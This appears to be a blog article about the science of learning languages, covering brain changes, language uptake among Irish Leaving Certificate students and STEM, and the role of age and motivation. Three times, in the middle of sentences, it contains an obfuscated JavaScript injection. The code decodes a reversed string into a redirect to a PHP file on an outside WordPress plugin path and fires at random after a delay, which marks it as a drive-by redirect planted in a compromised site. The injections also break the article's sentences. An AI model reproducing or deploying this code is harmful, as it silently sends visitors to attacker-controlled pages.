The Science of Learning Languages

What happens in your brain when you learn a new language?

Sometimes, we try to learn a new language for work or personal reasons or for travel. There’s the joy in being able to make a joke or order off the menu in a different country. It also has huge benefits for your brain and there’s a huge amount going on in your brain when you $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do learn to speak another language.  Many areas in your brain including Broca’s area increase in size and function. This is the area of the brain involved in production of language. When children grow up with two languages or more, the languages are processed at the same time but as adults when we learn a second language, a separate area close to the first develops. Adults learn at different speeds when it comes to languages and studies have shown differences in changes of brain area in different learners. Broca’s areas and the hippocampus changed most in those who learnt languages quickly and the motor cortex changed most in those who learnt at a slower pace.

A Swedish MRI study showed learning languages has an effect on the brain. The study had young adults military recruits who liked learning languages learn Arabic, Russian or Dari. Meanwhile a control group of medical and science students also studied hard but not languages. MRI scans showed that parts of the brain of language students increased in size, whilst in the control group no change occurred.

No matter what pace you learn at, learning a new language has been shown to improve memory, mental flexibility, brain function and creativity. So, give it go today – it’s easier than ever with Duo Lingo, online conversation circles and classes.


Language Learning & STEM: Students taking a foreign language at Leaving Certificate level has slowed over the past five years, according to recent figures. The percentage of 6th years studying at least one foreign language has fallen for both boys and girls with 67% of boys and 84% of girls $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doing at least one foreign language. However, the percentage of students taking a foreign language other than French has grown. These languages include German, Spanish, Italian, Russian, Japanese and Arabic. 74% of schools at secondary level now offer two languages or more.

The higher uptake of languages by girls at Leaving Cert may be a super power that women and girls can use to carve out a space in the STEM workforce. 59.5% of the world is now connected through the internet and this makes the world increasingly interconnected. The ability to communicate in more than one language is increasingly important to employers and this is crucial in STEM as scientific research is often international. Collaboration and communication is a vital part of research. Also studies have shown those who speak other languages than their first language have better concentration and problem solving skills and are better at multi-tasking. These are vital qualities for scientists. Helping students to understand than speaking another language is really valuable in the global STEM workforce means that the language lab is as important as the science lab in developing the scientists of the future.


Language Learning & Age: A published study exploring affect and age in learning languages wanted to explore if early language learning was more beneficial than later in life. You’d think that early learn would lead to better language skills but the study showed that those who started later in life out-performed those who started earlier in a variety of skills. This was because individual motivation is the strongest influence on outcomes, best summed up in the saying, if you have a why, you’ll find a how ! Those who took up language learning later in life were more determined to succeed, so learning a language is not dependent on age or a younger brain.

This makes sense, there are lots of young people who spend years learning a language and never go beyond being able to say their name and where they are from. Another study found that age wasn’t a factor in learning a language but what made the different was high quality input, contact with native speakers, speaking the language on a regular basis and using materials in that language like reading a book or listening to a podcast. So it seems that the wis $mWn=function(n){if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom that comes with age give an edge in language learning, a certain je ne sais quoi!